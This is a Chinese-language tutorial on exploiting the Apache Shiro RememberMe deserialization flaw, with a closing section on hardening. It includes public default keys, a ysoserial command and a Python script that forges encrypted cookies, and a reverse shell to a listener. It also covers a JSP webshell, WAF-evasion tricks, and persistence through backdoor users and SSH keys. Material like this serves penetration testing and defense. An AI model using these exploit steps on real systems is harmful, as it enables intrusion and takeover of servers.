1. 项目概述:为什么我们需要关注Shiro漏洞利用工具?
在应用安全领域,Apache Shiro是一个绕不开的名字。作为Java世界里广泛使用的安全框架,它负责处理身份认证、授权、会话管理和加密等核心安全功能。但正所谓“能力越大,责任越大”,一旦这个安全基石本身出现漏洞,其影响将是灾难性的。我见过太多因为Shiro配置不当或版本老旧,导致整个内网被“打穿”的案例。因此,无论是作为红队成员进行授权测试,还是作为蓝队或开发人员自查加固,一个趁手、可靠的Shiro漏洞利用工具,都是安全工具箱里的必需品。
这个“Shiro漏洞利用工具”项目,本质上是一个集成了多个历史高危Shiro漏洞检测与利用能力的自动化工具。它解决的痛点非常明确:手动构造Shiro的RememberMe反序列化利用链过于繁琐,需要记忆不同版本的密钥、选择合适的利用链(如CC链、CB链),并且要处理各种网络环境和编码问题。这个工具将这些过程自动化、武器化,让安全研究人员能够快速验证目标是否存在Shiro漏洞,并评估其潜在风险。它适合安全工程师、渗透测试人员以及对Java应用安全有兴趣的开发者学习和参考。通过剖析这样一个工具,我们不仅能学会如何使用,更能深入理解Shiro安全机制的原理与薄弱环节,这才是真正的价值所在。
2. 核心漏洞原理与工具设计思路拆解
要理解这个工具,必须先吃透Shiro最著名的漏洞模式:RememberMe反序列化漏洞。这几乎是Shiro框架的“祖传”问题,从Shiro 1.2.4版本默认的硬编码密钥kPH+bIxk5D2deZiIxcaaaA==开始,就埋下了隐患。
2.1 Shiro RememberMe机制的工作原理与缺陷
Shiro为了提供“记住我”功能,会将用户的身份信息序列化后,使用AES加密,并Base64编码,存储在Cookie的rememberMe字段中。当用户再次访问时,Shiro会取出该Cookie值,进行解密、反序列化,从而恢复用户会话。这里的安全链条有三个关键点:
- 加密密钥:用于AES加密解密。在早期版本中,如果开发者没有在代码中显式配置
shiro.ini或SecurityManager中的setCipherKey,Shiro就会使用一个默认的、公开的硬编码密钥。攻击者一旦获知这个密钥,就能伪造任意Cookie。 - 序列化数据:RememberMe Cookie中存储的是Java序列化后的数据。Java反序列化本身就是一个巨大的风险源,可以触发一系列危险的“利用链”(Gadget Chains),最终实现远程代码执行。
- 依赖库:Shiro在反序列化时,依赖于目标应用ClassPath中存在的库,如
commons-collections、commons-beanutils等,来构造利用链。
工具的核心设计思路正是围绕这三点展开:它内置了历史上被公开的多个常见硬编码密钥(如kPH+bIxk5D2deZiIxcaaaA==、4AvVhmFLUs0KTA3Kprsdag==等),并集成或动态生成适用于不同环境的反序列化利用链载荷(Payload)。其工作流程可以抽象为:密钥碰撞 -> 载荷生成 -> 投递试探 -> 结果判断。
2.2 工具方案选型与模块化设计
一个成熟的Shiro漏洞利用工具通常不会只依赖一种利用链。因为在实战中,目标服务器的JDK版本、依赖的第三方库千差万别。工具的设计者必须考虑兼容性和成功率。
常见的利用链选型包括:
- CommonsCollections链(CC链):这是最经典、最广为人知的链。工具可能会集成CC1、CC2、CC3、CC4、CC6、CC7等多个变种,以应对不同版本的
commons-collections库。 - CommonsBeanutils链(CB链):当目标没有CC库,但有CB库时,这条链就派上用场了。它不依赖CC的
Transformer,而是利用BeanComparator进行比较,同样可以触发命令执行。 - 无依赖利用链:这是更高阶的利用方式,旨在只利用JDK自带的类来构造利用链,例如基于
TemplatesImpl的链。这种链的通用性极强,但构造相对复杂。高级的工具会尝试集成此类链。
因此,工具在架构上通常是模块化的:
- 密钥字典模块:负责管理一个庞大的、常见的Shiro AES密钥列表,用于暴力破解或快速匹配。
- 载荷生成模块:根据用户选择的利用链类型(如
CC、CB、JDK)和要执行的命令,动态生成序列化后的Payload。 - 加密包装模块:使用当前尝试的密钥,将Payload进行AES加密、Base64编码,最终拼接成合法的
rememberMeCookie格式。 - HTTP请求模块:负责将构造好的Cookie发送到目标URL,并智能地处理请求(如自动跟随重定向、处理会话等)。
- 结果检测模块:这是判断利用是否成功的关键。通常采用以下几种方式:
- 延时检测(Time-based):Payload中包含一条
sleep命令(如ping -n 5 127.0.0.1或sleep 5),通过计算HTTP响应时间的延迟来判断命令是否被执行。 - 回显检测(Echo-based):Payload尝试将命令执行的结果(如
whoami)输出到HTTP响应中。这需要更复杂的利用链构造,但结果直观。 - DNSLog检测:Payload执行一条能触发DNS查询的命令(如
curl http://your-dnslog-domain),通过查询DNSLog平台是否有记录来判断漏洞是否存在且命令可执行。这种方式非常隐蔽,适合在严格的内网环境中使用。
- 延时检测(Time-based):Payload中包含一条
注意:在实际渗透测试中,必须获得书面授权。未经授权对任何系统进行漏洞扫描或利用测试,不仅是非法的,而且违背了安全行业的职业道德。
3. 工具核心功能解析与实操要点
假设我们手头有一个典型的Shiro漏洞利用工具(例如,一个基于Python或Java编写的命令行工具),它的核心功能通常通过参数来驱动。下面我们来拆解这些功能背后的逻辑和实操时的要点。
3.1 目标探测与指纹识别
在直接上利用工具之前,有经验的测试者会先进行信息收集。工具可能会集成或我们需要手动确认以下几点:
- 确认Shiro框架:查看HTTP响应头中的
Set-Cookie字段,是否包含rememberMe=deleteMe。这是Shiro的一个典型特征——当用户注销时,它会设置此Cookie来清除客户端的RememberMe信息。此外,一些特定的错误页面也可能暴露Shiro的痕迹。 - 判断版本范围:虽然无法精确到小版本,但可以通过一些已知的漏洞特征进行大致判断。例如,如果目标使用默认密钥可攻击成功,那么版本很可能在1.2.4到1.2.5之间。工具本身可能不直接做版本识别,但我们需要根据利用结果反推。
实操要点:不要完全依赖工具的自动探测。手动访问登录页面,使用浏览器开发者工具或curl命令查看Cookie和响应头,是更可靠的第一步。这能帮你理解目标的上下文,避免工具盲目乱撞。
3.2 密钥爆破与利用链选择
这是工具最核心的自动化部分。通常你只需要指定一个目标URL。
python shiro_exploit.py -u http://target.com/login工具内部会进行如下操作:
- 加载内置密钥字典,逐个尝试。
- 对于每个密钥,使用一个无害的探测Payload(例如一条执行
echo test或短延时命令的Payload)进行测试。 - 通过响应时间或DNSLog记录判断当前密钥是否有效。
这里有一个至关重要的细节:利用链的兼容性试探。一个设计精良的工具,在密钥爆破阶段,可能会先用一个通用性最高的利用链(比如CC链的某个变种)进行快速测试。如果发现密钥正确但利用链不成功,它会提示用户尝试其他链。
python shiro_exploit.py -u http://target.com/login -c “ping -c 3 your-dnslog-domain”-c参数指定要执行的命令。这里使用了DNSLog检测方式,命令会触发一次对你指定子域的DNS查询。
实操心得:密钥字典的维护工具自带的密钥字典可能不够全。在实际工作中,我会自己维护一个扩展字典,包含从各种开源项目、漏洞报告中收集的密钥,甚至包括通过源代码泄露或配置错误可能出现的弱密钥(如123456、admin123等简单字符串的Base64编码)。将自定义字典作为参数传入,能大大提高爆破成功率。
3.3 命令执行与交互式Shell获取
当工具成功检测到漏洞后,下一步就是执行任意命令。大多数工具会提供直接执行单条命令的功能。
python shiro_exploit.py -u http://target.com/login -k “4AvVhmFLUs0KTA3Kprsdag==” -g CB -c “whoami”-k指定已破解的密钥。-g指定利用链类型(如CB链)。-c指定要执行的命令。
然而,单条命令执行对于深入利用很不方便。因此,高级工具会提供交互式Shell功能。这背后的原理是:
- 工具会在本地启动一个监听端口。
- 通过漏洞向目标服务器注入一个Payload,该Payload会尝试反向连接(Reverse Shell)到你的监听端口。
- 连接建立后,你就能获得一个类似
bash或cmd的交互式命令行环境。
python shiro_exploit.py -u http://target.com/login -k “xxx” -g CC --reverse-shell 192.168.1.100:4444--reverse-shell参数告诉工具,Payload的目标是反向连接到192.168.1.100:4444。你需要提前在本机192.168.1.100上用nc -lvp 4444启动一个监听器。
注意事项:网络环境与出网限制这是实战中最容易踩坑的地方。目标服务器可能位于内网,且严格限制对外发起网络连接(即“不出网”)。此时,反向Shell会失败。在这种情况下,我们需要采用“正向Shell”或“盲打”的方式:
- 正向Shell:让工具生成一个绑定到目标服务器某个端口的Payload,然后我们主动去连接那个端口。但这通常需要目标服务器防火墙允许外部入站连接,条件更苛刻。
- 无交互命令执行:如果只是不出网,但命令能执行,我们可以通过写入Webshell到网站目录、添加计划任务、创建新用户等方式进行持久化。工具可能不直接提供这些高级Payload,需要我们自己根据利用链的结构,手动构造序列化数据,这对能力要求较高。
4. 手工利用过程与核心环节实现解析
虽然工具自动化程度很高,但了解手工利用的完整过程,能让你在工具失效时依然有路可走,也是真正理解漏洞本质的必经之路。下面以最常见的“默认密钥+CC链”场景为例,拆解核心步骤。
4.1 环境准备与Payload生成
假设我们已经通过信息收集,高度怀疑目标http://vuln-app.com使用了存在默认密钥的Shiro。
准备利用链代码:我们需要一个能生成CC链序列化数据的Java程序。通常会使用
ysoserial这个著名的工具。下载并编译ysoserial。java -jar ysoserial.jar CommonsCollections5 “ping -n 5 127.0.0.1” > payload.ser这条命令使用
CommonsCollections5利用链,生成一个执行ping命令(延时5秒)的序列化对象,并保存到payload.ser文件。这里选择ping -n 5是为了方便进行时间盲注检测。加密与编码:我们需要用Shiro的AES算法加密这个
payload.ser文件。Shiro的加密模式是AES/CBC/PKCS5Padding,并且IV(初始化向量)是全零。我们可以写一个简单的Python脚本来完成:import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(key, payload): # Shiro使用的AES模式:CBC,PKCS5Padding,IV全0 iv = b'\x00' * 16 cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) # 需要先对payload进行PKCS5填充 encrypted = cipher.encrypt(pad(payload, AES.block_size)) return base64.b64encode(encrypted) with open('payload.ser', 'rb') as f: payload_data = f.read() default_key = “kPH+bIxk5D2deZiIxcaaaA==” rememberMe_cookie = shiro_encrypt(default_key, payload_data) print(rememberMe_cookie.decode())运行这个脚本,我们会得到一个Base64编码的字符串,这就是我们要设置的
rememberMeCookie值。
4.2 发起攻击与结果判断
现在,我们使用curl命令或者浏览器插件(如Cookie Editor)来发起攻击。
curl -v http://vuln-app.com/login --cookie “rememberMe=<上一步生成的Cookie值>”在curl的详细输出中,我们主要关注请求耗时。如果服务器响应明显延迟了大约5秒(加上网络波动),那么基本可以断定漏洞存在,并且命令执行成功。因为服务器在处理我们的恶意Cookie时,反序列化触发了ping -n 5命令,导致线程睡眠了5秒。
参数计算过程解析: 为什么是ping -n 5?这是一个经验值。我们需要找一个命令,其执行时间可控且明显长于正常请求。sleep命令更直接,但在Windows和Linux上语法不同。ping -n 5(Windows)或ping -c 5(Linux)会发送5个ICMP包,间隔约1秒,总共耗时约4-5秒,这个延迟在网络请求中非常明显。时间太短(如1秒)容易误判,时间太长(如10秒)则测试效率低下。
4.3 获取回显与进阶利用
时间盲注证明了漏洞存在,但我们看不到命令执行结果。为了获取回显,我们需要构造更复杂的利用链,将命令输出写入HTTP响应中。这通常需要借助Tomcat、Spring等容器的特性,例如将命令结果写入一个HttpServletResponse对象的输出流。
手工构造这样的Payload极其复杂。此时,成熟的漏洞利用工具的优势就体现出来了。它们集成了像TomcatEcho、SpringEcho这样的高级利用链。我们只需要指定--echo参数,工具就会自动尝试使用回显链,并在成功时,将命令执行结果直接显示在工具界面上。
python shiro_exploit.py -u http://target.com -k “xxx” -g TomcatEcho -c “cat /etc/passwd”如果成功,我们就能在返回的网页HTML源码的某个特定位置(比如注释里)看到/etc/passwd文件的内容。
5. 实战避坑指南与高级技巧
即使有了强大的工具,在实际网络环境中,你依然会遇到各种“奇葩”情况。下面分享一些我踩过坑后总结的经验。
5.1 工具使用常见问题排查
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| 工具提示“密钥爆破成功”,但执行命令无回显、无延迟。 | 1. 利用链不兼容(目标缺少相应依赖库)。 2. 命令语法错误(Windows/Linux环境差异)。 3. 存在杀毒软件或RASP拦截。 | 1.切换利用链:尝试-g参数使用CB、CC2/3/4、JDK等不同链。2.简化命令:先尝试最通用的 echo 123或whoami,并确认目标系统类型。3.尝试DNSLog:使用 curl http://dnslog.cn或ping dnslog.cn命令,看DNSLog平台是否有记录,这是绕过无回显的最佳方式。 |
| 工具运行缓慢,或大量请求失败。 | 1. 目标网络不稳定或存在WAF/防火墙。 2. 密钥字典过大,请求过于频繁被拦截。 3. 工具线程数设置过高。 | 1.增加超时时间:在工具参数中设置--timeout 10,给每个请求更长的等待时间。2.使用代理:通过 --proxy http://127.0.0.1:8080设置代理,方便用Burp Suite观察请求和响应,排查被拦截原因。3.精简字典:优先使用最常用的几十个密钥进行测试。 |
| 反向Shell连接失败。 | 1. 目标服务器不出网。 2. 本地防火墙或网络策略阻止了入站连接。 3. Payload中指定的IP/端口错误。 | 1.确认网络可达性:在目标上尝试执行ping your-ip或curl your-ip:port(如果命令可执行),看是否能通。2.检查监听器:确保本机的 nc或ncat监听器已正确启动,且防火墙允许该端口入站。3.尝试正向Shell或其他持久化方式。 |
5.2 绕过WAF与防御机制的技巧
现代Web应用前端往往部署有WAF,它会检测异常的Cookie长度、特征字符等。
- Cookie分割:有些WAF只检查单个Cookie值的长度。Shiro在解析
rememberMe时,会进行Base64解码。我们可以将Payload的Base64字符串拆分成多个部分,放在多个同名的rememberMeCookie里(如rememberMe=part1; rememberMe=part2),Shiro服务器端会将其合并后解码。部分工具可能支持此功能。 - Padding混淆:在AES加密前,手动为原始Payload添加一些无关的填充字节,可能会改变加密后的密文特征,绕过基于特征匹配的WAF规则。
- 使用非常用端口或路径:如果漏洞点在
/admin/、/api/等特定路径下,而这些路径可能不在WAF的严格防护策略内。
5.3 不出网环境下的利用思路
这是内网渗透的常态。思路要从“执行命令并传回结果”转变为“在目标上立足”。
写入Webshell:如果目标是一个Java Web应用,且你知道Web目录的绝对路径(可通过查找
ServletContext属性或尝试常见路径如/usr/local/tomcat/webapps/ROOT/),可以尝试用echo或文件写入命令,将一个JSP的Webshell写到该目录。# 假设是Linux,路径已知 python shiro_exploit.py ... -c “echo ‘<%Runtime.getRuntime().exec(request.getParameter(\“cmd\”));%>’ > /webapps/ROOT/shell.jsp”写入后,访问
http://target.com/shell.jsp?cmd=whoami即可执行命令。这种方式需要你对目标路径有足够了解。添加用户或SSH密钥:在Linux服务器上,可以尝试添加一个后门用户,或者将你的公钥写入
~/.ssh/authorized_keys。在Windows服务器上,可以尝试添加用户并加入管理员组。重要警告:此操作会直接修改系统配置,在授权测试中需极其谨慎,并明确告知客户。测试完成后务必清理痕迹。
利用计划任务/定时任务反弹:如果目标偶尔能出网(如定时任务执行时使用的网络策略不同),可以写入一个计划任务,在特定时间执行反向Shell命令。
这些高级利用方式,往往需要你根据工具生成的“命令执行”能力,手动进行后续操作。工具的價值在于给你打开那扇“命令执行”的门,门后的世界如何探索,则依赖于你的综合渗透能力。
6. 防御视角:从攻击中学习如何保护你的Shiro应用
作为开发者或安全运维,了解攻击手段是为了更好地防御。针对Shiro反序列化漏洞,加固措施是清晰且必须的:
- 立即升级Shiro版本:升级到最新稳定版(如1.13.0+)。Apache官方在新版本中移除了默认密钥,并提供了更安全的默认配置。
- 强制配置唯一且强壮的密钥:在Shiro配置中,务必手动设置一个复杂的、随机的AES密钥,并妥善保管。不要使用任何公开的或简单的密钥。
# shiro.ini 示例 securityManager.rememberMeManager.cipherKey = base64编码的32字节随机密钥 - 禁用RememberMe功能:如果业务不需要“记住我”功能,最彻底的方式是直接禁用它。
- 升级依赖库版本:将
commons-collections、commons-beanutils等库升级到最新版,这些新版通常修复了导致反序列化漏洞的危险类和方法。 - 使用Java安全管理器或反序列化过滤器:在JVM层面或应用层面(如使用
ObjectInputFilter)对反序列化的类进行严格限制,只允许白名单内的类被反序列化。这是从根源上防御所有Java反序列化攻击的终极方案,但配置和维护成本较高。 - 部署WAF/RASP:在应用前端部署Web应用防火墙,或启用运行时应用自我保护,可以在一定程度上拦截已知的攻击Payload。
工具是双刃剑。这个“Shiro漏洞利用工具”在攻击者手中是利刃,在安全人员手中则是扫描漏洞、评估风险的探针。通过深入剖析它的原理、使用和局限,我们不仅能掌握一种重要的实战技能,更能深刻理解“安全是一个过程,而非一个状态”的含义。每一次漏洞的利用与修复,都是对系统防御能力的一次压力测试和升级契机。